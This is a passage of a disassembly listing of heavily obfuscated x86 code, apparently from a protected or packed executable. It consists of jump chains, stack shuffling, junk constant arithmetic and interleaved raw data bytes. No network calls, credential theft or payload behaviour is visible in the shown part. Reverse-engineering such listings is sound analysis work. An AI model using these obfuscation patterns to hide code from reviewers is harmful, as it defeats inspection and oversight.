		inc	esi
		not	esi
		jmp	loc_5AC6EF
; ---------------------------------------------------------------------------
		dd 5124048Bh, 60E95954h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A973B:				; CODE XREF: sdfs____:loc_5A19C9j
		xor	edi, 7FF50635h
		jmp	loc_5A21DC
; ---------------------------------------------------------------------------


loc_5A9746:				; CODE XREF: sdfs____:0059A80Dj
		xor	eax, ebp
		jmp	loc_59EC70
; ---------------------------------------------------------------------------


loc_5A974D:				; CODE XREF: sdfs____:005ABE32j
		add	edx, 28884F5Bh
		jz	loc_5A29D8
		push	eax
		push	esi
		jmp	loc_5AE4DE
; ---------------------------------------------------------------------------
		dd 0FAE9D731h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9767:				; CODE XREF: sdfs____:0059F397j
		pop	ecx
		add	edx, eax
		mov	eax, [esp]
		push	ecx
		jmp	loc_5ADD20
; ---------------------------------------------------------------------------


loc_5A9773:				; CODE XREF: sdfs____:0059DB7Dj
		pop	esp
		mov	esi, 0FFFE071Ah
		jmp	loc_5A200F
; ---------------------------------------------------------------------------


loc_5A977E:				; CODE XREF: sdfs____:0059B9E2j
		sub	eax, 66A339B0h
		jnb	loc_5A0B1B
		xor	eax, 0ABDEC484h
		sub	esp, 4
		jmp	loc_5AB20D
; ---------------------------------------------------------------------------
byte_5A9799	db 66h,	8Bh, 4		; DATA XREF: sdfs____:00599070o
		dd 0BDCCE924h, 6E9FFFFh, 8900003Ch, 74FF243Ch, 8F5F0424h
		dd 665C2404h, 68240C8Bh, 3BB7h,	0FF2FD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A97C1:				; CODE XREF: sdfs____:005A609Ej
		push	esi
		mov	esi, 976C5B2Ah
		add	ecx, esi
		pop	esi
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	6D37h
		mov	[esp], eax
		push	ebx
		mov	ebx, 68426CA8h
		mov	eax, ebx
		pop	ebx
		jmp	loc_5A7B2F
; ---------------------------------------------------------------------------
		dd 68240C89h, 3994h, 24048F54h,	4240483h, 0E9240C8Bh, 0FFFFF0D6h
; ---------------------------------------------------------------------------


loc_5A9800:				; CODE XREF: sdfs____:0059FE1Dj
		sub	bl, dh
		push	266Bh
		mov	[esp], eax
		mov	ah, 4Dh
		add	bl, ah
		pop	eax
		push	31F4h
		mov	[esp], ecx
		mov	ch, 0A4h
		sub	bl, 8Ch
		sub	bl, ch
		jmp	loc_5AB9FF
; ---------------------------------------------------------------------------


loc_5A9823:				; CODE XREF: sdfs____:00599198j
					; sdfs____:005A16F4j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A9836:				; CODE XREF: sdfs____:005AD6CFj
		push	edx
		pop	esi
		pop	edx
		shr	esi, 8
		or	esi, 4F072873h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		jmp	loc_5A35B4
; ---------------------------------------------------------------------------


loc_5A9866:				; CODE XREF: sdfs____:005AD1F1j
		mov	[esp], ebp
		mov	ebp, 0CDD45F06h
		jmp	loc_5A08B6
; ---------------------------------------------------------------------------


loc_5A9873:				; CODE XREF: sdfs____:0059E82Dj
		xor	edi, 25170A41h
		and	eax, edi
		pop	edi
		add	eax, 8502A9Dh
		push	edi
		push	eax
		pop	edi
		mov	edx, edi
		pop	edi
		jmp	loc_59ED18
; ---------------------------------------------------------------------------


loc_5A988C:				; CODE XREF: sdfs____:loc_5A8C77j
		dec	eax
		jnz	loc_5AFC4C
		inc	eax
		sub	eax, 2C7B0B59h
		mov	ecx, edx
		mov	edi, edi


loc_5A989D:				; CODE XREF: sdfs____:005A95F4j
		mov	[esp], ebx
		add	dword ptr [esp], 404A065Bh
		mov	esi, [esp]
		jmp	loc_5A5607
; ---------------------------------------------------------------------------


loc_5A98AF:				; CODE XREF: sdfs____:005AB3DEj
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 4CD67860h
		jmp	loc_5A9E25
; ---------------------------------------------------------------------------


loc_5A98BF:				; CODE XREF: sdfs____:005AB51Cj
		add	eax, 4
		jmp	loc_59E086
; ---------------------------------------------------------------------------


loc_5A98C7:				; CODE XREF: sdfs____:005AF4E8j
		xchg	esi, [esp]
		pop	esp
		add	ebp, 29A65541h
		jmp	loc_5A8E75
; ---------------------------------------------------------------------------


loc_5A98D6:				; CODE XREF: sdfs____:005A0E56j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 49353020h
		push	edx
		mov	edx, 40C15C15h
		xor	edx, 3E5866BBh
		sub	edx, 2DA846ADh
		not	edx
		xor	edx, 7D325813h
		add	edx, 0E804D5Dh
		xor	edx, 1F785109h
		add	ecx, edx
		pop	edx
		push	ecx
		pop	edx
		pop	ecx
		push	edi
		push	esi
		mov	esi, 4B4B3171h
		jmp	loc_59C56C
; ---------------------------------------------------------------------------


loc_5A991E:				; CODE XREF: sdfs____:005A65F3j
					; sdfs____:loc_5AA265j
		pop	ebx
		push	ecx
		jmp	loc_5AEE7F
; ---------------------------------------------------------------------------


loc_5A9925:				; CODE XREF: sdfs____:005A9D27j
		mov	[esp], edx
		mov	edx, 6C016A45h
		jmp	loc_5A5EB6
; ---------------------------------------------------------------------------


loc_5A9932:				; CODE XREF: sdfs____:005A5264j
		sub	dword ptr [esp+4], 416E4C81h
		push	dword ptr [esp]
		jmp	loc_5A8A8E
; ---------------------------------------------------------------------------


loc_5A9942:				; CODE XREF: sdfs____:0059A541j
					; sdfs____:005A19C4j
		neg	ebp
		jo	loc_59B470
		xor	ebp, 14582F8Eh
		jmp	loc_59A818
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 0CFh
		dd 8904EC83h, 5DE9241Ch, 4BFFFF43h, 4A2FB850h, 9EE95E9Fh
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A996F:				; CODE XREF: sdfs____:0059B874j
		push	ebp
		push	48CBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_59EE98
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0C5B22414h, 1EE9D000h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A998F:				; CODE XREF: sdfs____:005A2A36j
		and	edx, 5F6612BCh
		xor	edx, 4EB2269Bh
		add	edi, edx
		pop	edx
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A53C2
; ---------------------------------------------------------------------------


loc_5A99AD:				; CODE XREF: sdfs____:005A8210j
		xor	esi, [esp]
		jmp	loc_5A2B1A
; ---------------------------------------------------------------------------


loc_5A99B5:				; CODE XREF: sdfs____:0059F211j
		mov	ebp, 63ED19DCh
		mov	edi, ebp
		pop	ebp
		sub	[esp+8], edi
		pop	edi
		add	[esp+4], edi
		jmp	loc_59CAD2
; ---------------------------------------------------------------------------


loc_5A99CB:				; CODE XREF: sdfs____:005A9177j
		mov	edi, 147D43CAh
		mov	ecx, 0FBF20873h
		add	ecx, edi
		pop	edi
		dec	ecx
		jge	loc_59A8D7
		jmp	loc_5A19FE
; ---------------------------------------------------------------------------
		dd 2257D2BAh, 5AC8880Eh
; ---------------------------------------------------------------------------


loc_5A99EC:				; CODE XREF: sdfs____:loc_5A1756j
		not	bh
		add	bh, 0EEh
		jmp	loc_5ACAB3
; ---------------------------------------------------------------------------


loc_5A99F6:				; CODE XREF: sdfs____:00599CC1j
		sub	ecx, 409B2FFFh
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	eax
		push	ebx
		jmp	loc_5A1012
; ---------------------------------------------------------------------------


loc_5A9A0A:				; CODE XREF: sdfs____:0059F93Ej
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A8B8A
; ---------------------------------------------------------------------------


loc_5A9A19:				; CODE XREF: sdfs____:005AEFE3j
		mov	esp, [esp]
		mov	ax, [esp]
		push	7B52h
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A9CFF
; ---------------------------------------------------------------------------


loc_5A9A35:				; CODE XREF: sdfs____:005A4730j
		push	eax
		mov	eax, 54F41CEBh
		xor	eax, 0A45524Ah
		jmp	loc_5A4886
; ---------------------------------------------------------------------------


loc_5A9A45:				; CODE XREF: sdfs____:005A2FA9j
		jmp	loc_5AFB1C
; ---------------------------------------------------------------------------


loc_5A9A4A:				; CODE XREF: sdfs____:0059A9AFj
		xor	ebp, [esp]
		jmp	loc_5AA374
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 452215E3h, 0F4820F46h, 81000037h, 84F9C8C3h,	0E2ADE931h
		dd 0C483FFFFh, 2A62E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9A72:				; CODE XREF: sdfs____:0059FDA8j
		push	6443h
		mov	[esp], ebp
		push	579769D9h
		jmp	loc_5AD38D
; ---------------------------------------------------------------------------


loc_5A9A84:				; CODE XREF: sdfs____:0059E2E5j
		push	edi
		push	1
		jmp	loc_599B9A
; ---------------------------------------------------------------------------


loc_5A9A8F:				; CODE XREF: sdfs____:005A7EF1j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5AF930
; ---------------------------------------------------------------------------


loc_5A9A9A:				; CODE XREF: sdfs____:00599827j
		not	ebx
		add	ebx, 703E6264h
		mov	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	ebp, esi
		jmp	loc_5A0D27
; ---------------------------------------------------------------------------


loc_5A9AB2:				; CODE XREF: sdfs____:005AD3C2j
		not	edx
		add	edx, 41BB7FCDh
		jbe	loc_5AFCF4
		dec	edx
		shl	edx, 1
		jmp	loc_59AD19
; ---------------------------------------------------------------------------


loc_5A9AC8:				; CODE XREF: sdfs____:005AC019j
		shl	esi, 6
		shr	esi, 6
		jmp	loc_5A21D1
; ---------------------------------------------------------------------------
		db 80h
		dd 0E38832C4h, 0F6CBFE58h, 27E950D3h
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A9AE3:				; CODE XREF: sdfs____:005A4C00j
		add	ch, 2Fh
		add	ch, 88h
		add	bl, 0E1h
		add	bl, ch
		sub	bl, 0E1h
		pop	ecx
		jmp	loc_59E2B1
; ---------------------------------------------------------------------------


loc_5A9AF7:				; CODE XREF: sdfs____:005A8DC9j
		jnz	loc_59A53B
		add	ebp, 7F270EB6h
		jl	loc_5A5A9C


loc_5A9B09:				; CODE XREF: sdfs____:0059AC1Bj
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		sub	esp, 4
		jmp	loc_59F298
; ---------------------------------------------------------------------------
byte_5A9B1D	db 8Bh,	0Ch, 24h	; DATA XREF: sdfs____:00598E5Co
		dd 385368h, 242C8900h, 3E685D54h, 89000024h, 0ADE9240Ch
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9B37:				; CODE XREF: sdfs____:005AA413j
		sub	ebx, 6D8C6A16h
		mov	ebp, [esp]
		jmp	loc_59DB94
; ---------------------------------------------------------------------------


loc_5A9B45:				; CODE XREF: sdfs____:0059B25Fj
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A2142
; ---------------------------------------------------------------------------


loc_5A9B50:				; CODE XREF: sdfs____:0059B10Fj
		xchg	ecx, [esp]
		jmp	loc_5996CE
; ---------------------------------------------------------------------------
		dd 4C781h, 0E9530000h, 0FFFF3D34h
; ---------------------------------------------------------------------------


loc_5A9B64:				; CODE XREF: sdfs____:005999DAj
		dec	ebx
		jno	loc_5A28F7
		xor	ebx, 394A7C89h
		add	ebx, 64F2793h


loc_5A9B77:				; CODE XREF: sdfs____:005A398Dj
		mov	edx, 2E8A0314h
		dec	edx
		jl	loc_5A7E94
		sub	edx, 412256A1h
		jnz	loc_5A8707
		jmp	loc_59C23B
; ---------------------------------------------------------------------------
		dd 42474FFh
		db 5Fh,	56h
; ---------------------------------------------------------------------------


loc_5A9B9A:				; CODE XREF: sdfs____:005AEBBFj
		add	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59A52D
; ---------------------------------------------------------------------------


loc_5A9BAA:				; CODE XREF: sdfs____:005A9E9Ej
		push	eax
		push	12085B52h
		pop	eax
		and	ebp, eax
		pop	eax
		add	ebp, 0EDF7ECB2h
		add	edi, ebp
		pop	ebp
		push	4204h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_5AA1C0
; ---------------------------------------------------------------------------


loc_5A9BD1:				; CODE XREF: sdfs____:005A6590j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	7EFBh
		mov	[esp], ecx
		mov	cl, 97h
		not	cl
		add	cl, 0F2h
		shr	cl, 5
		jns	loc_5A025C
		push	7FF1h
		mov	[esp], edx
		mov	dh, 6Dh
		or	dh, 0E4h
		push	555Fh
		mov	[esp], ecx
		mov	ecx, 3F647Ch
		jmp	loc_5A0C0E
; ---------------------------------------------------------------------------


loc_5A9C15:				; CODE XREF: sdfs____:005A8529j
		xor	[esp], edi
		xchg	ebp, edi
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, ebp
		xor	ebp, edi
		jmp	loc_59DBF7
; ---------------------------------------------------------------------------


loc_5A9C2D:				; CODE XREF: sdfs____:005A90E7j
		push	edi
		push	1345h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A6D47
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0DBF58104h, 0E954D66Ah, 0FFFF659Ah
; ---------------------------------------------------------------------------


loc_5A9C5C:				; CODE XREF: sdfs____:005ABF6Bj
		push	38EBh
		mov	[esp], ecx
		mov	ecx, 39936A1Fh
		shl	ecx, 8
		push	1D93h
		mov	[esp], eax
		mov	eax, 498D2145h
		not	eax
		inc	eax
		add	eax, 64E45E1Dh
		push	esi
		mov	esi, 15EA6174h
		or	esi, 3CCF0400h
		push	edi
		mov	edi, 3A271639h
		jmp	loc_5A1048
; ---------------------------------------------------------------------------


loc_5A9C98:				; CODE XREF: sdfs____:005A4962j
		push	dword ptr [edi+eax*4]
		jmp	loc_5A3CA2
; ---------------------------------------------------------------------------


loc_5A9CA0:				; CODE XREF: sdfs____:005A9CB7j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_599681
; ---------------------------------------------------------------------------


loc_5A9CAE:				; CODE XREF: sdfs____:005A508Bj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A9CA0
; ---------------------------------------------------------------------------


loc_5A9CBC:				; CODE XREF: sdfs____:005A8CB4j
		push	4D6Ah
		mov	[esp], esp
		push	edi
		mov	edi, 4
		jmp	loc_59F253
; ---------------------------------------------------------------------------


loc_5A9CCF:				; CODE XREF: sdfs____:005A5F8Fj
					; sdfs____:005AEAD3j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A9CE2:				; CODE XREF: sdfs____:005AAED2j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59D2D8
; ---------------------------------------------------------------------------


loc_5A9CF2:				; CODE XREF: sdfs____:005ACC3Bj
		push	bx
		jmp	loc_5A33A2
; ---------------------------------------------------------------------------


loc_5A9CF9:				; CODE XREF: sdfs____:005A6B82j
		pop	esp
		jmp	loc_59C125
; ---------------------------------------------------------------------------


loc_5A9CFF:				; CODE XREF: sdfs____:005A9A30j
		mov	eax, 424424C1h
		add	eax, 0BDBBDB43h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	0A4Dh
		mov	[esp], eax
		push	6B9Eh
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5A9925
; ---------------------------------------------------------------------------
		dd 0C13BE268h, 2434FF7Eh, 4C4815Fh, 0F7000000h,	77CF81D7h
		dd 0F126924h, 272482h, 7BF78100h, 0E9937FE4h, 0FFFF3EE4h
; ---------------------------------------------------------------------------


loc_5A9D54:				; CODE XREF: sdfs____:005A9242j
		sub	dl, 0F3h
		shl	dl, 4
		xor	dl, 0B3h
		and	bl, dl
		jmp	loc_5A65ED
; ---------------------------------------------------------------------------


loc_5A9D64:				; CODE XREF: sdfs____:005A65A0j
		sub	esp, 4
		jmp	loc_5A9538
; ---------------------------------------------------------------------------
aMh		db '¬h·',7,0            ; DATA XREF: sdfs____:00599088o
		dd 4656E900h, 0B635FFFFh, 0F4B7820h, 0FFBDC48Fh, 2E8C1FFh
		dd 0E6B98B0Fh, 0C780FFFFh
		db 9, 57h
; ---------------------------------------------------------------------------


loc_5A9D92:				; CODE XREF: sdfs____:005A5346j
		add	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_5A22D3
		push	eax
		push	esp
		jmp	loc_5A89D9
; ---------------------------------------------------------------------------


loc_5A9DB5:				; CODE XREF: sdfs____:0059B75Aj
		mov	dh, 10h
		jmp	loc_5A24FD
; ---------------------------------------------------------------------------


loc_5A9DBC:				; CODE XREF: sdfs____:005AD558j
		or	ebx, edi
		pop	edi
		dec	ebx
		shr	ebx, 3
		push	esi
		mov	esi, 45F9EE05h
		xor	ebx, esi
		pop	esi
		xchg	ebp, ebx
		xchg	edx, ebp
		not	edx
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		push	ebx
		push	ebp
		pop	ebx
		jmp	loc_5A620E
; ---------------------------------------------------------------------------
		dd 2404FF56h, 4F40E95Eh, 5FE90000h, 50FFFFFEh, 8904EC83h
		dd 4832424h, 52580424h,	7408A3BAh, 0BEBB5360h, 81737C15h
		dd 0C3171BC2h, 81DA010Ch, 0C3171BEAh, 0EA835B0Ch, 88A3E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9E1E:				; CODE XREF: sdfs____:005AC066j
		mov	dh, 2Eh
		jmp	loc_5996D9
; ---------------------------------------------------------------------------


loc_5A9E25:				; CODE XREF: sdfs____:005A98BAj
		dec	eax
		or	eax, 391E5E76h
		xor	eax, 7DDE7E7Bh
		add	edi, eax
		pop	eax
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5A862A
; ---------------------------------------------------------------------------


loc_5A9E42:				; CODE XREF: sdfs____:005A935Ej
		inc	edx
		jns	loc_59ED71
		neg	edx
		jmp	loc_599211
; ---------------------------------------------------------------------------
		dd 0F28AE88Bh
; ---------------------------------------------------------------------------


loc_5A9E54:				; CODE XREF: sdfs____:005AA9A7j
		push	4
		pop	ebp
		add	edi, 6533A79h
		add	edi, ebp
		sub	edi, 6533A79h
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 5B0113BFh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 52681EFFh
		xor	ebx, 2F3974B7h
		shr	ebx, 1
		not	ebx
		add	ebx, 64BB6BB9h
		xor	ebx, 1D1AB07Bh
		or	ebp, ebx
		pop	ebx
		add	ebp, 0FFFFFFFFh
		jmp	loc_5A9BAA
; ---------------------------------------------------------------------------


loc_5A9EA3:				; CODE XREF: sdfs____:0059BD49j
		inc	ebx
		jmp	loc_5A2F68
; ---------------------------------------------------------------------------
		db 0FEh, 0C6h, 80h
		dd 0E953FFC6h, 2DB6h
; ---------------------------------------------------------------------------


loc_5A9EB4:				; CODE XREF: sdfs____:005AD5B0j
		push	ebp
		pop	ecx
		pop	ebp
		pop	edx
		rep movsd
		jmp	loc_59FE79
; ---------------------------------------------------------------------------


loc_5A9EBF:				; CODE XREF: sdfs____:0059CFFDj
		push	ebx
		jmp	loc_5A09FD
; ---------------------------------------------------------------------------


loc_5A9EC5:				; CODE XREF: sdfs____:005A02B0j
					; sdfs____:005AE7CDj
		sub	esp, 2
		mov	[esp], cx
		mov	cl, bl
		mov	bl, dh
		mov	dh, cl
		pop	cx
		jmp	loc_5A3621
; ---------------------------------------------------------------------------
		dd 0C800EC04h, 5966EC2Ch, 0CA40E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9EEA:				; CODE XREF: sdfs____:005A2D63j
					; sdfs____:005A6209j
		neg	ecx
		jno	loc_59D27C
		inc	ecx
		js	loc_59B879
		jmp	loc_5A8719
; ---------------------------------------------------------------------------
		dw 2D24h
; ---------------------------------------------------------------------------


loc_5A9F00:				; CODE XREF: sdfs____:005AAC52j
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_5A3D28
; ---------------------------------------------------------------------------


loc_5A9F0D:				; CODE XREF: sdfs____:0059D560j
		jmp	loc_599A24
; ---------------------------------------------------------------------------


loc_5A9F12:				; CODE XREF: sdfs____:0059C194j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 0E9h, 78h, 0F8h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A9F1A:				; CODE XREF: sdfs____:005AB3BAj
		add	edx, edi
		add	edx, 4D746AACh
		jmp	loc_59B71F
; ---------------------------------------------------------------------------


loc_5A9F27:				; CODE XREF: sdfs____:005A3117j
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	9DEh
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		jmp	loc_5A5A0E
; ---------------------------------------------------------------------------
		db 0Fh
		dd offset dword_455248+2143h
		dd 840F4B00h, 3B10h, 0EBCEB81h,	880F1972h, 264Ch, 4C46F381h
		dd 0DD89668Dh, 8B2434FFh, 0C483241Ch, 4C48104h,	5000000h
		dd 6A6652CDh, 0CD2DE801h, 0E96A6652h, 0FFFF0551h
; ---------------------------------------------------------------------------


loc_5A9F88:				; CODE XREF: sdfs____:0059E12Fj
		pop	eax
		push	ecx
		mov	ecx, 2B14857h
		and	ecx, 602C4E98h
		shl	ecx, 4
		inc	ecx
		xor	ecx, 4ABE15FCh
		xor	ecx, 0C95B806h
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AF8D1
; ---------------------------------------------------------------------------
		dw 814Bh
		dd 4552D6E3h, 0FDBF72Fh, 0FF9F5A89h, 49EB81FFh,	0E9772E06h
		dd 0FFFF6BCBh
; ---------------------------------------------------------------------------


loc_5A9FCC:				; CODE XREF: sdfs____:005A12D1j
		sub	esi, 5B8B01DEh
		add	esi, eax
		add	esi, 5B8B01DEh
		add	esi, 1E445244h
		push	dword ptr [esp]
		jmp	loc_5A615F
; ---------------------------------------------------------------------------
		dd 0BA5DEF89h, 570329F9h, 0C15FFA31h, 2EE902EAh, 83FFFF29h
		dd 0EC8304ECh, 0EFE6E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA006:				; CODE XREF: sdfs____:loc_59C21Fj
		push	ecx
		push	eax
		push	edx
		mov	dl, 0C2h
		mov	ah, dl
		pop	edx
		mov	ch, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A1D89
; ---------------------------------------------------------------------------


loc_5AA01E:				; CODE XREF: sdfs____:0059CC92j
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A1CD5
; ---------------------------------------------------------------------------
aSwsB		db 'SWéÜb',0
		align 4
		dd 242C895Ch, 917514BDh, 0C5E5815Ah, 87377600h,	0FFB850CDh
		dd 1FFFFFFh, 0CD8758C1h, 0FF5017E9h, 243C89FFh,	56E468h
		dd 48F5400h, 0BB535624h, 4, 575BDE89h, 0A1341BFh, 247C0152h
		dd 74015F08h, 0B3E90424h, 0FFFFFF60h, 6DE92434h
		db 1Eh,	2 dup(0FFh)
byte_5AA08F	db 50h			; DATA XREF: sdfs____:005990C4o
		dd 10E95551h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA097:				; CODE XREF: sdfs____:00599D01j
		jnp	loc_59B05C
		or	ecx, 21CB7975h
		jbe	loc_5A0327
		jmp	loc_5A567E
; ---------------------------------------------------------------------------
		dw 0C980h
		dd 4FC980DAh, 52FFC180h, 0F2804FB2h, 9C10E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA0C2:				; CODE XREF: sdfs____:005A050Dj
		xor	ebp, 70EF0FB3h
		jmp	loc_59BE5E
; ---------------------------------------------------------------------------


loc_5AA0CD:				; CODE XREF: sdfs____:00599ABCj
		pop	esi
		sub	esi, 0A6F54E6Fh
		or	eax, esi
		pop	esi
		push	ebp
		push	eax
		mov	eax, 739032FCh
		mov	ebp, eax
		jmp	loc_5A2401
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 4
		dd 8B242C87h, 1CE92424h
		db 0F0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA0F3:				; CODE XREF: sdfs____:005AF485j
		sub	edi, 6D6569AEh
		xor	edi, 9A67C652h
		mov	esi, edi
		pop	edi
		push	4691h
		mov	[esp], ebp
		push	39C72259h
		pop	ebp
		jmp	loc_5A8DA0
; ---------------------------------------------------------------------------


loc_5AA115:				; CODE XREF: sdfs____:005AF582j
		or	ebp, 11610895h
		dec	ebp
		dec	ebp
		shr	ebp, 4
		sub	ebp, 93F352A1h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5A0D71
; ---------------------------------------------------------------------------


loc_5AA12E:				; CODE XREF: sdfs____:0059D929j
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esi
		push	41856FD5h
		pop	esi
		push	edi
		mov	edi, 7BBD024Fh
		sub	edi, 47422C94h
		add	esi, edi
		jmp	loc_5A2564
; ---------------------------------------------------------------------------


loc_5AA160:				; CODE XREF: sdfs____:0059A4ACj
		push	535Bh
		mov	[esp], eax
		jmp	loc_5A316D
; ---------------------------------------------------------------------------
		db 35h,	0BCh, 86h
		dd 0C501E28Fh, 5DE80158h, 0EC83D829h, 24348904h, 78DBD55h
		dd 9BE9665Dh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA18B:				; CODE XREF: sdfs____:005A66F9j
		pop	ebp
		push	ecx
		mov	ecx, 14DE7451h
		add	eax, ecx
		pop	ecx
		dec	eax
		neg	eax
		sub	eax, 355D94D2h
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A8554
; ---------------------------------------------------------------------------


loc_5AA1AB:				; CODE XREF: sdfs____:0059B5EBj
		xchg	ecx, [esp]
		pop	esp
		xor	ebx, eax
		push	ebp
		push	edi
		push	42509A2h
		mov	edi, [esp]
		jmp	loc_5A53E9
; ---------------------------------------------------------------------------


loc_5AA1C0:				; CODE XREF: sdfs____:005A9BCCj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_59EFAD
; ---------------------------------------------------------------------------


loc_5AA1D2:				; CODE XREF: sdfs____:0059F4F8j
		add	ebp, 13541A71h
		shl	ebp, 4
		dec	ebp
		jo	loc_59AD4D
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 30370683h
		add	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		jmp	loc_59AF25
; ---------------------------------------------------------------------------


loc_5AA1F8:				; CODE XREF: sdfs____:005A6000j
		sub	edx, 6C8136BBh
		add	edx, esi
		push	ebx
		mov	ebx, 369F7034h
		jmp	loc_59B68E
; ---------------------------------------------------------------------------


loc_5AA20B:				; CODE XREF: sdfs____:0059B71Aj
		push	3EAFh
		mov	[esp], eax
		mov	eax, 310475C9h
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 14206FD8h
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		shl	ebp, 5
		jmp	loc_5A25C7
; ---------------------------------------------------------------------------
		dw 3489h
		dd 34FF5424h, 8968E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA242:				; CODE XREF: sdfs____:005B021Aj
		pop	eax
		sub	edx, 39C25A60h
		jmp	loc_59A404
; ---------------------------------------------------------------------------


loc_5AA24E:				; CODE XREF: sdfs____:0059FAD0j
		pop	eax
		sub	esp, 4
		jmp	loc_59BE27
; ---------------------------------------------------------------------------


loc_5AA257:				; CODE XREF: sdfs____:0059C6E2j
		xor	[esp], ecx
		jmp	loc_5A54E4
; ---------------------------------------------------------------------------


loc_5AA25F:				; CODE XREF: sdfs____:00599C58j
		pop	ecx
		jmp	loc_5A344E
; ---------------------------------------------------------------------------


loc_5AA265:				; CODE XREF: sdfs____:loc_59D8C6j
		jmp	loc_5A991E
; ---------------------------------------------------------------------------


loc_5AA26A:				; CODE XREF: sdfs____:005A6C5Ej
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_59EB08
; ---------------------------------------------------------------------------


loc_5AA277:				; CODE XREF: sdfs____:005A526Fj
		mov	edi, 14736684h
		jmp	loc_59F492
; ---------------------------------------------------------------------------


loc_5AA281:				; CODE XREF: sdfs____:loc_5AD1D9j
		neg	ah
		jmp	loc_5AD941
; ---------------------------------------------------------------------------


